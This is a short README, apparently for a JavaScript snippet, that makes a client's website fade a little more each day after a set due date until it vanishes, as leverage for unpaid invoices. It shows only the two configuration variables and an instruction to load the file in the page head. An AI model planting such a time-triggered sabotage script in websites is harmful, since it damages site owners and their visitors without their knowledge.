Add opacity to the body tag and increase it every day until their site completely fades away. Set a due date and customize the number of days you offer them until the website is fully vanished.
/* change these variables as you wish */
var due_date = new Date('2017-02-27');
var days_deadline = 60;
/* stop changing here */
Just load the .js file in <head>
Inspired from twitter (@riklomas) Made by Ciprian, Romania